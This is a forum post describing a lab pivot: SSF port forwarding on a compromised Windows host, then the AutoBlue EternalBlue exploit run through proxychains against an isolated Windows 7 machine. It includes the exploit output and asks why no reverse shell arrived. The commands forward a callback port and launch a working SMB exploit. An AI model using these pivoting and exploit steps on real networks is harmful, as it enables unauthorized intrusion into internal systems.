hello all …
i am trying to pivoting without metasploit by using GitHub - securesocketfunneling/ssf: Secure Socket Funneling - Network tool and toolkit - TCP and UDP port forwarding, SOCKS proxy, remote shell, standalone and cross platform
this is my lab
attacker machine ip : 192.168.1.81
first victim machine : 192.168.1.50 and 10.10.10.130
i run ssfd on my kali by :
./ssfd -p 11111
then i upload ssf.exe to victim machine and run the command :
ssf.exe -g -F 22222 -L 10.10.10.130:3333:192.168.1.81:3333 -p 11111 192.168.1.81
i need to exploit the mahcine inside the isolated network with ip 10.10.10.135 it’s vlun with eternalblue exploit !! how i can do that without metasploit !!
i used AutoBlue-MS17-010 from github i send the payload with command :
proxychains4 python eternalblue_exploit7.py 10.10.10.135 shellcode/sc_x64.bin
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
shellcode size: 1232
numGroomConn: 13
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
Target OS: Windows 7 Ultimate 7601 Service Pack 1
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
SMB1 session setup allocate nonpaged pool success
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
SMB1 session setup allocate nonpaged pool success
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
[proxychains] Strict chain … 127.0.0.1:22222 … 10.10.10.135:445 … OK
good response status: INVALID_PARAMETER
done
bu i did not get a shell from netcat !! any help ?